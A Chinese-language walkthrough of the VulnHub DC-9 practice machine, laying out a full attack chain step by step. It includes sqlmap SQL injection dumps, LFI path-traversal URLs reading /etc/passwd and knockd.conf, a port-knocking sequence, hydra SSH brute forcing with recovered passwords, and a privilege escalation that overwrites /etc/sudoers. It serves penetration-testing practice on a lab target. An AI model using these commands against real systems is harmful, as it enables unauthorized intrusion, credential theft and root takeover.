第一次打靶机DC-9的详细步骤
字数 1236 2025-08-12 12:46:04
DC-9 靶机渗透测试详细教程
靶机概述
DC-9 是 VulnHub 上的一个渗透测试靶机,目标是通过各种渗透技术获取 root 权限并找到 flag。该靶机涉及以下技术点:
- SQL 注入
- 本地文件包含 (LFI)
- 端口敲门 (Port Knocking)
- SSH 爆破
- sudo 提权
环境准备
- 攻击机:Kali Linux
- 靶机:DC-9
- 网络模式:桥接或 NAT 均可(注意 IP 变化)
渗透步骤
1. 目标识别
使用 nmap 扫描目标网络:
nmap -sn 192.168.1.0/24
通过 MAC 地址识别 DC-9 的 IP 地址(172.x.x.x 或 192.168.x.x)
2. 端口扫描
对目标进行详细扫描:
nmap -sV -p- <target_IP>
典型结果:
- 22/tcp filtered ssh
- 80/tcp open http
3. Web 应用分析
访问 http://<target_IP> 发现:
- PHP 编写的网页
- 包含用户列表和搜索功能
- 搜索功能使用 POST 方法提交
4. SQL 注入利用
4.1 识别注入点
使用 Burp Suite 拦截搜索请求,或通过浏览器开发者工具查看:
- 发现参数
search=1
4.2 使用 sqlmap 枚举数据库
sqlmap -u "http://<target_IP>/result.php" --data="search=1" --dbs
发现数据库:
- information_schema
- Staff
- Users
4.3 枚举 Users 数据库
sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Users --tables
sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Users -T UserDetails --dump
获取用户名和密码,保存到文件:
cp /root/.local/share/sqlmap/output/<target_IP>/dump/Users/UserDetails.csv /opt/
cat UserDetails.csv | cut -d ',' -f 2 > username.txt
cat UserDetails.csv | cut -d ',' -f 3 > password.txt
4.4 枚举 Staff 数据库
sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Staff --tables
sqlmap -u "http://<target_IP>/result.php" --data="search=1" -D Staff -T Users --dump
获取 admin 凭据,但 SSH 登录失败。
5. 本地文件包含 (LFI) 漏洞利用
5.1 发现 LFI
尝试访问:
http://<target_IP>/file.php?file=../../../../etc/passwd
成功读取系统文件。
5.2 获取 knockd 配置
读取关键配置文件:
http://<target_IP>/file.php?file=../../../../etc/knockd.conf
获取端口敲门序列:
[options]
UseSyslog
[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
6. 端口敲门开启 SSH
使用 nmap 按顺序敲击端口:
nmap -Pn --host_timeout 201 --max-retries 0 -p 7469 <target_IP>
nmap -Pn --host_timeout 201 --max-retries 0 -p 8475 <target_IP>
nmap -Pn --host_timeout 201 --max-retries 0 -p 9842 <target_IP>
或使用单条命令:
for p in 7469 8475 9842; do nmap -Pn --host_timeout 201 --max-retries 0 -p $p <target_IP>; done
7. SSH 爆破
使用 hydra 爆破:
hydra -L username.txt -P password.txt <target_IP> ssh -t 4
发现有效凭据:
- janitor:Ilovepeepee
- janie:Ead04be9bd698a9e6dcea7c5d38922d4
8. 信息收集
登录 janitor 账户,发现隐藏文件:
ls -la /home/janitor
cat /home/janitor/.hidden/.bash_history
获取额外密码,添加到 password.txt:
scp janitor@<target_IP>:/home/janitor/.hidden/.bash_history .
cat .bash_history >> password.txt
9. 进一步爆破
再次使用 hydra 爆破,发现新用户:
- fredf:B4-Tru3-001
10. 提权操作
10.1 检查 sudo 权限
sudo -l
发现可以无密码执行:
(ALL) NOPASSWD: /opt/devstuff/dist/test/test
10.2 分析 test 程序
find / -name test.py 2>/dev/null
cat /opt/devstuff/test.py
发现这是一个文件复制程序。
10.3 利用 sudo 提权
创建恶意 sudoers 文件:
echo "fredf ALL=(ALL) NOPASSWD:ALL" > sudoers
使用 test 程序覆盖 /etc/sudoers:
sudo /opt/devstuff/dist/test/test sudoers /etc/sudoers
验证提权:
sudo su
11. 获取 flag
进入 root 目录查看 flag:
cd /root
ls
cat theflag.txt
总结
DC-9 靶机涵盖了从 Web 渗透到系统提权的完整流程,关键技术点包括:
- SQL 注入获取凭据
- LFI 漏洞读取敏感配置
- 端口敲门技术开启隐藏服务
- 凭据爆破和横向移动
- sudo 配置不当导致的提权
通过这个靶机,可以全面练习渗透测试的各个阶段和技术。